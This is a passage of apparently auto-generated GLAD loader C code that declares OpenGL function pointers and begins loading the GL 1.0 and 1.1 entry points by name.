PFNGLPATCHPARAMETERFVPROC glad_glPatchParameterfv = NULL;
PFNGLPATCHPARAMETERIPROC glad_glPatchParameteri = NULL;
PFNGLPAUSETRANSFORMFEEDBACKPROC glad_glPauseTransformFeedback = NULL;
PFNGLPIXELSTOREFPROC glad_glPixelStoref = NULL;
PFNGLPIXELSTOREIPROC glad_glPixelStorei = NULL;
PFNGLPOINTPARAMETERFPROC glad_glPointParameterf = NULL;
PFNGLPOINTPARAMETERFVPROC glad_glPointParameterfv = NULL;
PFNGLPOINTPARAMETERIPROC glad_glPointParameteri = NULL;
PFNGLPOINTPARAMETERIVPROC glad_glPointParameteriv = NULL;
PFNGLPOINTSIZEPROC glad_glPointSize = NULL;
PFNGLPOLYGONMODEPROC glad_glPolygonMode = NULL;
PFNGLPOLYGONOFFSETPROC glad_glPolygonOffset = NULL;
PFNGLPOPDEBUGGROUPPROC glad_glPopDebugGroup = NULL;
PFNGLPRIMITIVERESTARTINDEXPROC glad_glPrimitiveRestartIndex = NULL;
PFNGLPROGRAMBINARYPROC glad_glProgramBinary = NULL;
PFNGLPROGRAMPARAMETERIPROC glad_glProgramParameteri = NULL;
PFNGLPROGRAMUNIFORM1DPROC glad_glProgramUniform1d = NULL;
PFNGLPROGRAMUNIFORM1DVPROC glad_glProgramUniform1dv = NULL;
PFNGLPROGRAMUNIFORM1FPROC glad_glProgramUniform1f = NULL;
PFNGLPROGRAMUNIFORM1FVPROC glad_glProgramUniform1fv = NULL;
PFNGLPROGRAMUNIFORM1IPROC glad_glProgramUniform1i = NULL;
PFNGLPROGRAMUNIFORM1IVPROC glad_glProgramUniform1iv = NULL;
PFNGLPROGRAMUNIFORM1UIPROC glad_glProgramUniform1ui = NULL;
PFNGLPROGRAMUNIFORM1UIVPROC glad_glProgramUniform1uiv = NULL;
PFNGLPROGRAMUNIFORM2DPROC glad_glProgramUniform2d = NULL;
PFNGLPROGRAMUNIFORM2DVPROC glad_glProgramUniform2dv = NULL;
PFNGLPROGRAMUNIFORM2FPROC glad_glProgramUniform2f = NULL;
PFNGLPROGRAMUNIFORM2FVPROC glad_glProgramUniform2fv = NULL;
PFNGLPROGRAMUNIFORM2IPROC glad_glProgramUniform2i = NULL;
PFNGLPROGRAMUNIFORM2IVPROC glad_glProgramUniform2iv = NULL;
PFNGLPROGRAMUNIFORM2UIPROC glad_glProgramUniform2ui = NULL;
PFNGLPROGRAMUNIFORM2UIVPROC glad_glProgramUniform2uiv = NULL;
PFNGLPROGRAMUNIFORM3DPROC glad_glProgramUniform3d = NULL;
PFNGLPROGRAMUNIFORM3DVPROC glad_glProgramUniform3dv = NULL;
PFNGLPROGRAMUNIFORM3FPROC glad_glProgramUniform3f = NULL;
PFNGLPROGRAMUNIFORM3FVPROC glad_glProgramUniform3fv = NULL;
PFNGLPROGRAMUNIFORM3IPROC glad_glProgramUniform3i = NULL;
PFNGLPROGRAMUNIFORM3IVPROC glad_glProgramUniform3iv = NULL;
PFNGLPROGRAMUNIFORM3UIPROC glad_glProgramUniform3ui = NULL;
PFNGLPROGRAMUNIFORM3UIVPROC glad_glProgramUniform3uiv = NULL;
PFNGLPROGRAMUNIFORM4DPROC glad_glProgramUniform4d = NULL;
PFNGLPROGRAMUNIFORM4DVPROC glad_glProgramUniform4dv = NULL;
PFNGLPROGRAMUNIFORM4FPROC glad_glProgramUniform4f = NULL;
PFNGLPROGRAMUNIFORM4FVPROC glad_glProgramUniform4fv = NULL;
PFNGLPROGRAMUNIFORM4IPROC glad_glProgramUniform4i = NULL;
PFNGLPROGRAMUNIFORM4IVPROC glad_glProgramUniform4iv = NULL;
PFNGLPROGRAMUNIFORM4UIPROC glad_glProgramUniform4ui = NULL;
PFNGLPROGRAMUNIFORM4UIVPROC glad_glProgramUniform4uiv = NULL;
PFNGLPROGRAMUNIFORMMATRIX2DVPROC glad_glProgramUniformMatrix2dv = NULL;
PFNGLPROGRAMUNIFORMMATRIX2FVPROC glad_glProgramUniformMatrix2fv = NULL;
PFNGLPROGRAMUNIFORMMATRIX2X3DVPROC glad_glProgramUniformMatrix2x3dv = NULL;
PFNGLPROGRAMUNIFORMMATRIX2X3FVPROC glad_glProgramUniformMatrix2x3fv = NULL;
PFNGLPROGRAMUNIFORMMATRIX2X4DVPROC glad_glProgramUniformMatrix2x4dv = NULL;
PFNGLPROGRAMUNIFORMMATRIX2X4FVPROC glad_glProgramUniformMatrix2x4fv = NULL;
PFNGLPROGRAMUNIFORMMATRIX3DVPROC glad_glProgramUniformMatrix3dv = NULL;
PFNGLPROGRAMUNIFORMMATRIX3FVPROC glad_glProgramUniformMatrix3fv = NULL;
PFNGLPROGRAMUNIFORMMATRIX3X2DVPROC glad_glProgramUniformMatrix3x2dv = NULL;
PFNGLPROGRAMUNIFORMMATRIX3X2FVPROC glad_glProgramUniformMatrix3x2fv = NULL;
PFNGLPROGRAMUNIFORMMATRIX3X4DVPROC glad_glProgramUniformMatrix3x4dv = NULL;
PFNGLPROGRAMUNIFORMMATRIX3X4FVPROC glad_glProgramUniformMatrix3x4fv = NULL;
PFNGLPROGRAMUNIFORMMATRIX4DVPROC glad_glProgramUniformMatrix4dv = NULL;
PFNGLPROGRAMUNIFORMMATRIX4FVPROC glad_glProgramUniformMatrix4fv = NULL;
PFNGLPROGRAMUNIFORMMATRIX4X2DVPROC glad_glProgramUniformMatrix4x2dv = NULL;
PFNGLPROGRAMUNIFORMMATRIX4X2FVPROC glad_glProgramUniformMatrix4x2fv = NULL;
PFNGLPROGRAMUNIFORMMATRIX4X3DVPROC glad_glProgramUniformMatrix4x3dv = NULL;
PFNGLPROGRAMUNIFORMMATRIX4X3FVPROC glad_glProgramUniformMatrix4x3fv = NULL;
PFNGLPROVOKINGVERTEXPROC glad_glProvokingVertex = NULL;
PFNGLPUSHDEBUGGROUPPROC glad_glPushDebugGroup = NULL;
PFNGLQUERYCOUNTERPROC glad_glQueryCounter = NULL;
PFNGLREADBUFFERPROC glad_glReadBuffer = NULL;
PFNGLREADPIXELSPROC glad_glReadPixels = NULL;
PFNGLREADNPIXELSPROC glad_glReadnPixels = NULL;
PFNGLRELEASESHADERCOMPILERPROC glad_glReleaseShaderCompiler = NULL;
PFNGLRENDERBUFFERSTORAGEPROC glad_glRenderbufferStorage = NULL;
PFNGLRENDERBUFFERSTORAGEMULTISAMPLEPROC glad_glRenderbufferStorageMultisample = NULL;
PFNGLRESUMETRANSFORMFEEDBACKPROC glad_glResumeTransformFeedback = NULL;
PFNGLSAMPLECOVERAGEPROC glad_glSampleCoverage = NULL;
PFNGLSAMPLEMASKIPROC glad_glSampleMaski = NULL;
PFNGLSAMPLERPARAMETERIIVPROC glad_glSamplerParameterIiv = NULL;
PFNGLSAMPLERPARAMETERIUIVPROC glad_glSamplerParameterIuiv = NULL;
PFNGLSAMPLERPARAMETERFPROC glad_glSamplerParameterf = NULL;
PFNGLSAMPLERPARAMETERFVPROC glad_glSamplerParameterfv = NULL;
PFNGLSAMPLERPARAMETERIPROC glad_glSamplerParameteri = NULL;
PFNGLSAMPLERPARAMETERIVPROC glad_glSamplerParameteriv = NULL;
PFNGLSCISSORPROC glad_glScissor = NULL;
PFNGLSCISSORARRAYVPROC glad_glScissorArrayv = NULL;
PFNGLSCISSORINDEXEDPROC glad_glScissorIndexed = NULL;
PFNGLSCISSORINDEXEDVPROC glad_glScissorIndexedv = NULL;
PFNGLSECONDARYCOLORP3UIPROC glad_glSecondaryColorP3ui = NULL;
PFNGLSECONDARYCOLORP3UIVPROC glad_glSecondaryColorP3uiv = NULL;
PFNGLSHADERBINARYPROC glad_glShaderBinary = NULL;
PFNGLSHADERSOURCEPROC glad_glShaderSource = NULL;
PFNGLSHADERSTORAGEBLOCKBINDINGPROC glad_glShaderStorageBlockBinding = NULL;
PFNGLSTENCILFUNCPROC glad_glStencilFunc = NULL;
PFNGLSTENCILFUNCSEPARATEPROC glad_glStencilFuncSeparate = NULL;
PFNGLSTENCILMASKPROC glad_glStencilMask = NULL;
PFNGLSTENCILMASKSEPARATEPROC glad_glStencilMaskSeparate = NULL;
PFNGLSTENCILOPPROC glad_glStencilOp = NULL;
PFNGLSTENCILOPSEPARATEPROC glad_glStencilOpSeparate = NULL;
PFNGLTEXBUFFERPROC glad_glTexBuffer = NULL;
PFNGLTEXBUFFERRANGEPROC glad_glTexBufferRange = NULL;
PFNGLTEXCOORDP1UIPROC glad_glTexCoordP1ui = NULL;
PFNGLTEXCOORDP1UIVPROC glad_glTexCoordP1uiv = NULL;
PFNGLTEXCOORDP2UIPROC glad_glTexCoordP2ui = NULL;
PFNGLTEXCOORDP2UIVPROC glad_glTexCoordP2uiv = NULL;
PFNGLTEXCOORDP3UIPROC glad_glTexCoordP3ui = NULL;
PFNGLTEXCOORDP3UIVPROC glad_glTexCoordP3uiv = NULL;
PFNGLTEXCOORDP4UIPROC glad_glTexCoordP4ui = NULL;
PFNGLTEXCOORDP4UIVPROC glad_glTexCoordP4uiv = NULL;
PFNGLTEXIMAGE1DPROC glad_glTexImage1D = NULL;
PFNGLTEXIMAGE2DPROC glad_glTexImage2D = NULL;
PFNGLTEXIMAGE2DMULTISAMPLEPROC glad_glTexImage2DMultisample = NULL;
PFNGLTEXIMAGE3DPROC glad_glTexImage3D = NULL;
PFNGLTEXIMAGE3DMULTISAMPLEPROC glad_glTexImage3DMultisample = NULL;
PFNGLTEXPARAMETERIIVPROC glad_glTexParameterIiv = NULL;
PFNGLTEXPARAMETERIUIVPROC glad_glTexParameterIuiv = NULL;
PFNGLTEXPARAMETERFPROC glad_glTexParameterf = NULL;
PFNGLTEXPARAMETERFVPROC glad_glTexParameterfv = NULL;
PFNGLTEXPARAMETERIPROC glad_glTexParameteri = NULL;
PFNGLTEXPARAMETERIVPROC glad_glTexParameteriv = NULL;
PFNGLTEXSTORAGE1DPROC glad_glTexStorage1D = NULL;
PFNGLTEXSTORAGE2DPROC glad_glTexStorage2D = NULL;
PFNGLTEXSTORAGE2DMULTISAMPLEPROC glad_glTexStorage2DMultisample = NULL;
PFNGLTEXSTORAGE3DPROC glad_glTexStorage3D = NULL;
PFNGLTEXSTORAGE3DMULTISAMPLEPROC glad_glTexStorage3DMultisample = NULL;
PFNGLTEXSUBIMAGE1DPROC glad_glTexSubImage1D = NULL;
PFNGLTEXSUBIMAGE2DPROC glad_glTexSubImage2D = NULL;
PFNGLTEXSUBIMAGE3DPROC glad_glTexSubImage3D = NULL;
PFNGLTEXTUREBARRIERPROC glad_glTextureBarrier = NULL;
PFNGLTEXTUREBUFFERPROC glad_glTextureBuffer = NULL;
PFNGLTEXTUREBUFFERRANGEPROC glad_glTextureBufferRange = NULL;
PFNGLTEXTUREPARAMETERIIVPROC glad_glTextureParameterIiv = NULL;
PFNGLTEXTUREPARAMETERIUIVPROC glad_glTextureParameterIuiv = NULL;
PFNGLTEXTUREPARAMETERFPROC glad_glTextureParameterf = NULL;
PFNGLTEXTUREPARAMETERFVPROC glad_glTextureParameterfv = NULL;
PFNGLTEXTUREPARAMETERIPROC glad_glTextureParameteri = NULL;
PFNGLTEXTUREPARAMETERIVPROC glad_glTextureParameteriv = NULL;
PFNGLTEXTURESTORAGE1DPROC glad_glTextureStorage1D = NULL;
PFNGLTEXTURESTORAGE2DPROC glad_glTextureStorage2D = NULL;
PFNGLTEXTURESTORAGE2DMULTISAMPLEPROC glad_glTextureStorage2DMultisample = NULL;
PFNGLTEXTURESTORAGE3DPROC glad_glTextureStorage3D = NULL;
PFNGLTEXTURESTORAGE3DMULTISAMPLEPROC glad_glTextureStorage3DMultisample = NULL;
PFNGLTEXTURESUBIMAGE1DPROC glad_glTextureSubImage1D = NULL;
PFNGLTEXTURESUBIMAGE2DPROC glad_glTextureSubImage2D = NULL;
PFNGLTEXTURESUBIMAGE3DPROC glad_glTextureSubImage3D = NULL;
PFNGLTEXTUREVIEWPROC glad_glTextureView = NULL;
PFNGLTRANSFORMFEEDBACKBUFFERBASEPROC glad_glTransformFeedbackBufferBase = NULL;
PFNGLTRANSFORMFEEDBACKBUFFERRANGEPROC glad_glTransformFeedbackBufferRange = NULL;
PFNGLTRANSFORMFEEDBACKVARYINGSPROC glad_glTransformFeedbackVaryings = NULL;
PFNGLUNIFORM1DPROC glad_glUniform1d = NULL;
PFNGLUNIFORM1DVPROC glad_glUniform1dv = NULL;
PFNGLUNIFORM1FPROC glad_glUniform1f = NULL;
PFNGLUNIFORM1FVPROC glad_glUniform1fv = NULL;
PFNGLUNIFORM1IPROC glad_glUniform1i = NULL;
PFNGLUNIFORM1IVPROC glad_glUniform1iv = NULL;
PFNGLUNIFORM1UIPROC glad_glUniform1ui = NULL;
PFNGLUNIFORM1UIVPROC glad_glUniform1uiv = NULL;
PFNGLUNIFORM2DPROC glad_glUniform2d = NULL;
PFNGLUNIFORM2DVPROC glad_glUniform2dv = NULL;
PFNGLUNIFORM2FPROC glad_glUniform2f = NULL;
PFNGLUNIFORM2FVPROC glad_glUniform2fv = NULL;
PFNGLUNIFORM2IPROC glad_glUniform2i = NULL;
PFNGLUNIFORM2IVPROC glad_glUniform2iv = NULL;
PFNGLUNIFORM2UIPROC glad_glUniform2ui = NULL;
PFNGLUNIFORM2UIVPROC glad_glUniform2uiv = NULL;
PFNGLUNIFORM3DPROC glad_glUniform3d = NULL;
PFNGLUNIFORM3DVPROC glad_glUniform3dv = NULL;
PFNGLUNIFORM3FPROC glad_glUniform3f = NULL;
PFNGLUNIFORM3FVPROC glad_glUniform3fv = NULL;
PFNGLUNIFORM3IPROC glad_glUniform3i = NULL;
PFNGLUNIFORM3IVPROC glad_glUniform3iv = NULL;
PFNGLUNIFORM3UIPROC glad_glUniform3ui = NULL;
PFNGLUNIFORM3UIVPROC glad_glUniform3uiv = NULL;
PFNGLUNIFORM4DPROC glad_glUniform4d = NULL;
PFNGLUNIFORM4DVPROC glad_glUniform4dv = NULL;
PFNGLUNIFORM4FPROC glad_glUniform4f = NULL;
PFNGLUNIFORM4FVPROC glad_glUniform4fv = NULL;
PFNGLUNIFORM4IPROC glad_glUniform4i = NULL;
PFNGLUNIFORM4IVPROC glad_glUniform4iv = NULL;
PFNGLUNIFORM4UIPROC glad_glUniform4ui = NULL;
PFNGLUNIFORM4UIVPROC glad_glUniform4uiv = NULL;
PFNGLUNIFORMBLOCKBINDINGPROC glad_glUniformBlockBinding = NULL;
PFNGLUNIFORMMATRIX2DVPROC glad_glUniformMatrix2dv = NULL;
PFNGLUNIFORMMATRIX2FVPROC glad_glUniformMatrix2fv = NULL;
PFNGLUNIFORMMATRIX2X3DVPROC glad_glUniformMatrix2x3dv = NULL;
PFNGLUNIFORMMATRIX2X3FVPROC glad_glUniformMatrix2x3fv = NULL;
PFNGLUNIFORMMATRIX2X4DVPROC glad_glUniformMatrix2x4dv = NULL;
PFNGLUNIFORMMATRIX2X4FVPROC glad_glUniformMatrix2x4fv = NULL;
PFNGLUNIFORMMATRIX3DVPROC glad_glUniformMatrix3dv = NULL;
PFNGLUNIFORMMATRIX3FVPROC glad_glUniformMatrix3fv = NULL;
PFNGLUNIFORMMATRIX3X2DVPROC glad_glUniformMatrix3x2dv = NULL;
PFNGLUNIFORMMATRIX3X2FVPROC glad_glUniformMatrix3x2fv = NULL;
PFNGLUNIFORMMATRIX3X4DVPROC glad_glUniformMatrix3x4dv = NULL;
PFNGLUNIFORMMATRIX3X4FVPROC glad_glUniformMatrix3x4fv = NULL;
PFNGLUNIFORMMATRIX4DVPROC glad_glUniformMatrix4dv = NULL;
PFNGLUNIFORMMATRIX4FVPROC glad_glUniformMatrix4fv = NULL;
PFNGLUNIFORMMATRIX4X2DVPROC glad_glUniformMatrix4x2dv = NULL;
PFNGLUNIFORMMATRIX4X2FVPROC glad_glUniformMatrix4x2fv = NULL;
PFNGLUNIFORMMATRIX4X3DVPROC glad_glUniformMatrix4x3dv = NULL;
PFNGLUNIFORMMATRIX4X3FVPROC glad_glUniformMatrix4x3fv = NULL;
PFNGLUNIFORMSUBROUTINESUIVPROC glad_glUniformSubroutinesuiv = NULL;
PFNGLUNMAPBUFFERPROC glad_glUnmapBuffer = NULL;
PFNGLUNMAPNAMEDBUFFERPROC glad_glUnmapNamedBuffer = NULL;
PFNGLUSEPROGRAMPROC glad_glUseProgram = NULL;
PFNGLUSEPROGRAMSTAGESPROC glad_glUseProgramStages = NULL;
PFNGLVALIDATEPROGRAMPROC glad_glValidateProgram = NULL;
PFNGLVALIDATEPROGRAMPIPELINEPROC glad_glValidateProgramPipeline = NULL;
PFNGLVERTEXARRAYATTRIBBINDINGPROC glad_glVertexArrayAttribBinding = NULL;
PFNGLVERTEXARRAYATTRIBFORMATPROC glad_glVertexArrayAttribFormat = NULL;
PFNGLVERTEXARRAYATTRIBIFORMATPROC glad_glVertexArrayAttribIFormat = NULL;
PFNGLVERTEXARRAYATTRIBLFORMATPROC glad_glVertexArrayAttribLFormat = NULL;
PFNGLVERTEXARRAYBINDINGDIVISORPROC glad_glVertexArrayBindingDivisor = NULL;
PFNGLVERTEXARRAYELEMENTBUFFERPROC glad_glVertexArrayElementBuffer = NULL;
PFNGLVERTEXARRAYVERTEXBUFFERPROC glad_glVertexArrayVertexBuffer = NULL;
PFNGLVERTEXARRAYVERTEXBUFFERSPROC glad_glVertexArrayVertexBuffers = NULL;
PFNGLVERTEXATTRIB1DPROC glad_glVertexAttrib1d = NULL;
PFNGLVERTEXATTRIB1DVPROC glad_glVertexAttrib1dv = NULL;
PFNGLVERTEXATTRIB1FPROC glad_glVertexAttrib1f = NULL;
PFNGLVERTEXATTRIB1FVPROC glad_glVertexAttrib1fv = NULL;
PFNGLVERTEXATTRIB1SPROC glad_glVertexAttrib1s = NULL;
PFNGLVERTEXATTRIB1SVPROC glad_glVertexAttrib1sv = NULL;
PFNGLVERTEXATTRIB2DPROC glad_glVertexAttrib2d = NULL;
PFNGLVERTEXATTRIB2DVPROC glad_glVertexAttrib2dv = NULL;
PFNGLVERTEXATTRIB2FPROC glad_glVertexAttrib2f = NULL;
PFNGLVERTEXATTRIB2FVPROC glad_glVertexAttrib2fv = NULL;
PFNGLVERTEXATTRIB2SPROC glad_glVertexAttrib2s = NULL;
PFNGLVERTEXATTRIB2SVPROC glad_glVertexAttrib2sv = NULL;
PFNGLVERTEXATTRIB3DPROC glad_glVertexAttrib3d = NULL;
PFNGLVERTEXATTRIB3DVPROC glad_glVertexAttrib3dv = NULL;
PFNGLVERTEXATTRIB3FPROC glad_glVertexAttrib3f = NULL;
PFNGLVERTEXATTRIB3FVPROC glad_glVertexAttrib3fv = NULL;
PFNGLVERTEXATTRIB3SPROC glad_glVertexAttrib3s = NULL;
PFNGLVERTEXATTRIB3SVPROC glad_glVertexAttrib3sv = NULL;
PFNGLVERTEXATTRIB4NBVPROC glad_glVertexAttrib4Nbv = NULL;
PFNGLVERTEXATTRIB4NIVPROC glad_glVertexAttrib4Niv = NULL;
PFNGLVERTEXATTRIB4NSVPROC glad_glVertexAttrib4Nsv = NULL;
PFNGLVERTEXATTRIB4NUBPROC glad_glVertexAttrib4Nub = NULL;
PFNGLVERTEXATTRIB4NUBVPROC glad_glVertexAttrib4Nubv = NULL;
PFNGLVERTEXATTRIB4NUIVPROC glad_glVertexAttrib4Nuiv = NULL;
PFNGLVERTEXATTRIB4NUSVPROC glad_glVertexAttrib4Nusv = NULL;
PFNGLVERTEXATTRIB4BVPROC glad_glVertexAttrib4bv = NULL;
PFNGLVERTEXATTRIB4DPROC glad_glVertexAttrib4d = NULL;
PFNGLVERTEXATTRIB4DVPROC glad_glVertexAttrib4dv = NULL;
PFNGLVERTEXATTRIB4FPROC glad_glVertexAttrib4f = NULL;
PFNGLVERTEXATTRIB4FVPROC glad_glVertexAttrib4fv = NULL;
PFNGLVERTEXATTRIB4IVPROC glad_glVertexAttrib4iv = NULL;
PFNGLVERTEXATTRIB4SPROC glad_glVertexAttrib4s = NULL;
PFNGLVERTEXATTRIB4SVPROC glad_glVertexAttrib4sv = NULL;
PFNGLVERTEXATTRIB4UBVPROC glad_glVertexAttrib4ubv = NULL;
PFNGLVERTEXATTRIB4UIVPROC glad_glVertexAttrib4uiv = NULL;
PFNGLVERTEXATTRIB4USVPROC glad_glVertexAttrib4usv = NULL;
PFNGLVERTEXATTRIBBINDINGPROC glad_glVertexAttribBinding = NULL;
PFNGLVERTEXATTRIBDIVISORPROC glad_glVertexAttribDivisor = NULL;
PFNGLVERTEXATTRIBFORMATPROC glad_glVertexAttribFormat = NULL;
PFNGLVERTEXATTRIBI1IPROC glad_glVertexAttribI1i = NULL;
PFNGLVERTEXATTRIBI1IVPROC glad_glVertexAttribI1iv = NULL;
PFNGLVERTEXATTRIBI1UIPROC glad_glVertexAttribI1ui = NULL;
PFNGLVERTEXATTRIBI1UIVPROC glad_glVertexAttribI1uiv = NULL;
PFNGLVERTEXATTRIBI2IPROC glad_glVertexAttribI2i = NULL;
PFNGLVERTEXATTRIBI2IVPROC glad_glVertexAttribI2iv = NULL;
PFNGLVERTEXATTRIBI2UIPROC glad_glVertexAttribI2ui = NULL;
PFNGLVERTEXATTRIBI2UIVPROC glad_glVertexAttribI2uiv = NULL;
PFNGLVERTEXATTRIBI3IPROC glad_glVertexAttribI3i = NULL;
PFNGLVERTEXATTRIBI3IVPROC glad_glVertexAttribI3iv = NULL;
PFNGLVERTEXATTRIBI3UIPROC glad_glVertexAttribI3ui = NULL;
PFNGLVERTEXATTRIBI3UIVPROC glad_glVertexAttribI3uiv = NULL;
PFNGLVERTEXATTRIBI4BVPROC glad_glVertexAttribI4bv = NULL;
PFNGLVERTEXATTRIBI4IPROC glad_glVertexAttribI4i = NULL;
PFNGLVERTEXATTRIBI4IVPROC glad_glVertexAttribI4iv = NULL;
PFNGLVERTEXATTRIBI4SVPROC glad_glVertexAttribI4sv = NULL;
PFNGLVERTEXATTRIBI4UBVPROC glad_glVertexAttribI4ubv = NULL;
PFNGLVERTEXATTRIBI4UIPROC glad_glVertexAttribI4ui = NULL;
PFNGLVERTEXATTRIBI4UIVPROC glad_glVertexAttribI4uiv = NULL;
PFNGLVERTEXATTRIBI4USVPROC glad_glVertexAttribI4usv = NULL;
PFNGLVERTEXATTRIBIFORMATPROC glad_glVertexAttribIFormat = NULL;
PFNGLVERTEXATTRIBIPOINTERPROC glad_glVertexAttribIPointer = NULL;
PFNGLVERTEXATTRIBL1DPROC glad_glVertexAttribL1d = NULL;
PFNGLVERTEXATTRIBL1DVPROC glad_glVertexAttribL1dv = NULL;
PFNGLVERTEXATTRIBL2DPROC glad_glVertexAttribL2d = NULL;
PFNGLVERTEXATTRIBL2DVPROC glad_glVertexAttribL2dv = NULL;
PFNGLVERTEXATTRIBL3DPROC glad_glVertexAttribL3d = NULL;
PFNGLVERTEXATTRIBL3DVPROC glad_glVertexAttribL3dv = NULL;
PFNGLVERTEXATTRIBL4DPROC glad_glVertexAttribL4d = NULL;
PFNGLVERTEXATTRIBL4DVPROC glad_glVertexAttribL4dv = NULL;
PFNGLVERTEXATTRIBLFORMATPROC glad_glVertexAttribLFormat = NULL;
PFNGLVERTEXATTRIBLPOINTERPROC glad_glVertexAttribLPointer = NULL;
PFNGLVERTEXATTRIBP1UIPROC glad_glVertexAttribP1ui = NULL;
PFNGLVERTEXATTRIBP1UIVPROC glad_glVertexAttribP1uiv = NULL;
PFNGLVERTEXATTRIBP2UIPROC glad_glVertexAttribP2ui = NULL;
PFNGLVERTEXATTRIBP2UIVPROC glad_glVertexAttribP2uiv = NULL;
PFNGLVERTEXATTRIBP3UIPROC glad_glVertexAttribP3ui = NULL;
PFNGLVERTEXATTRIBP3UIVPROC glad_glVertexAttribP3uiv = NULL;
PFNGLVERTEXATTRIBP4UIPROC glad_glVertexAttribP4ui = NULL;
PFNGLVERTEXATTRIBP4UIVPROC glad_glVertexAttribP4uiv = NULL;
PFNGLVERTEXATTRIBPOINTERPROC glad_glVertexAttribPointer = NULL;
PFNGLVERTEXBINDINGDIVISORPROC glad_glVertexBindingDivisor = NULL;
PFNGLVERTEXP2UIPROC glad_glVertexP2ui = NULL;
PFNGLVERTEXP2UIVPROC glad_glVertexP2uiv = NULL;
PFNGLVERTEXP3UIPROC glad_glVertexP3ui = NULL;
PFNGLVERTEXP3UIVPROC glad_glVertexP3uiv = NULL;
PFNGLVERTEXP4UIPROC glad_glVertexP4ui = NULL;
PFNGLVERTEXP4UIVPROC glad_glVertexP4uiv = NULL;
PFNGLVIEWPORTPROC glad_glViewport = NULL;
PFNGLVIEWPORTARRAYVPROC glad_glViewportArrayv = NULL;
PFNGLVIEWPORTINDEXEDFPROC glad_glViewportIndexedf = NULL;
PFNGLVIEWPORTINDEXEDFVPROC glad_glViewportIndexedfv = NULL;
PFNGLWAITSYNCPROC glad_glWaitSync = NULL;
static void load_GL_VERSION_1_0(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_0) return;
glad_glCullFace = (PFNGLCULLFACEPROC)load("glCullFace");
glad_glFrontFace = (PFNGLFRONTFACEPROC)load("glFrontFace");
glad_glHint = (PFNGLHINTPROC)load("glHint");
glad_glLineWidth = (PFNGLLINEWIDTHPROC)load("glLineWidth");
glad_glPointSize = (PFNGLPOINTSIZEPROC)load("glPointSize");
glad_glPolygonMode = (PFNGLPOLYGONMODEPROC)load("glPolygonMode");
glad_glScissor = (PFNGLSCISSORPROC)load("glScissor");
glad_glTexParameterf = (PFNGLTEXPARAMETERFPROC)load("glTexParameterf");
glad_glTexParameterfv = (PFNGLTEXPARAMETERFVPROC)load("glTexParameterfv");
glad_glTexParameteri = (PFNGLTEXPARAMETERIPROC)load("glTexParameteri");
glad_glTexParameteriv = (PFNGLTEXPARAMETERIVPROC)load("glTexParameteriv");
glad_glTexImage1D = (PFNGLTEXIMAGE1DPROC)load("glTexImage1D");
glad_glTexImage2D = (PFNGLTEXIMAGE2DPROC)load("glTexImage2D");
glad_glDrawBuffer = (PFNGLDRAWBUFFERPROC)load("glDrawBuffer");
glad_glClear = (PFNGLCLEARPROC)load("glClear");
glad_glClearColor = (PFNGLCLEARCOLORPROC)load("glClearColor");
glad_glClearStencil = (PFNGLCLEARSTENCILPROC)load("glClearStencil");
glad_glClearDepth = (PFNGLCLEARDEPTHPROC)load("glClearDepth");
glad_glStencilMask = (PFNGLSTENCILMASKPROC)load("glStencilMask");
glad_glColorMask = (PFNGLCOLORMASKPROC)load("glColorMask");
glad_glDepthMask = (PFNGLDEPTHMASKPROC)load("glDepthMask");
glad_glDisable = (PFNGLDISABLEPROC)load("glDisable");
glad_glEnable = (PFNGLENABLEPROC)load("glEnable");
glad_glFinish = (PFNGLFINISHPROC)load("glFinish");
glad_glFlush = (PFNGLFLUSHPROC)load("glFlush");
glad_glBlendFunc = (PFNGLBLENDFUNCPROC)load("glBlendFunc");
glad_glLogicOp = (PFNGLLOGICOPPROC)load("glLogicOp");
glad_glStencilFunc = (PFNGLSTENCILFUNCPROC)load("glStencilFunc");
glad_glStencilOp = (PFNGLSTENCILOPPROC)load("glStencilOp");
glad_glDepthFunc = (PFNGLDEPTHFUNCPROC)load("glDepthFunc");
glad_glPixelStoref = (PFNGLPIXELSTOREFPROC)load("glPixelStoref");
glad_glPixelStorei = (PFNGLPIXELSTOREIPROC)load("glPixelStorei");
glad_glReadBuffer = (PFNGLREADBUFFERPROC)load("glReadBuffer");
glad_glReadPixels = (PFNGLREADPIXELSPROC)load("glReadPixels");
glad_glGetBooleanv = (PFNGLGETBOOLEANVPROC)load("glGetBooleanv");
glad_glGetDoublev = (PFNGLGETDOUBLEVPROC)load("glGetDoublev");
glad_glGetError = (PFNGLGETERRORPROC)load("glGetError");
glad_glGetFloatv = (PFNGLGETFLOATVPROC)load("glGetFloatv");
glad_glGetIntegerv = (PFNGLGETINTEGERVPROC)load("glGetIntegerv");
glad_glGetString = (PFNGLGETSTRINGPROC)load("glGetString");
glad_glGetTexImage = (PFNGLGETTEXIMAGEPROC)load("glGetTexImage");
glad_glGetTexParameterfv = (PFNGLGETTEXPARAMETERFVPROC)load("glGetTexParameterfv");
glad_glGetTexParameteriv = (PFNGLGETTEXPARAMETERIVPROC)load("glGetTexParameteriv");
glad_glGetTexLevelParameterfv = (PFNGLGETTEXLEVELPARAMETERFVPROC)load("glGetTexLevelParameterfv");
glad_glGetTexLevelParameteriv = (PFNGLGETTEXLEVELPARAMETERIVPROC)load("glGetTexLevelParameteriv");
glad_glIsEnabled = (PFNGLISENABLEDPROC)load("glIsEnabled");
glad_glDepthRange = (PFNGLDEPTHRANGEPROC)load("glDepthRange");
glad_glViewport = (PFNGLVIEWPORTPROC)load("glViewport");
}
static void load_GL_VERSION_1_1(GLADloadproc load) {
if(!GLAD_GL_VERSION_1_1) return;
glad_glDrawArrays = (PFNGLDRAWARRAYSPROC)load("glDrawArrays");
glad_glDrawElements = (PFNGLDRAWELEMENTSPROC)load("glDrawElements");
glad_glPolygonOffset = (PFNGLPOLYGONOFFSETPROC)load("glPolygonOffset");
glad_glCopyTexImage1D = (PFNGLCOPYTEXIMAGE1DPROC)load("glCopyTexImage1D");
glad_glCopyTexImage2D = (PFNGLCOPYTEXIMAGE2DPROC)load("glCopyTexImage2D");
glad_glCopyTexSubImage1D = (PFNGLCOPYTEXSUBIMAGE1DPROC)load("glCopyTexSubImage1D");
glad_glCopyTexSubImage2D = (PFNGLCOPYTEXSUBIMAGE2DPROC)load("glCopyTexSubImage2D");
glad_glTexSubImage1D = (PFNGLTEXSUBIMAGE1DPROC)load("glTexSubImage1D");
glad_glTexSubImage2D = (PFNGLTEXSUBIMAGE2DPROC)load("glTexSubImage2D");
glad_glBindTexture = (PFNGLBINDTEXTUREPROC)load("glBindTexture");
glad_glDeleteTextures = (PFNGLDELETETEXTURESPROC)load("glDeleteTextures");
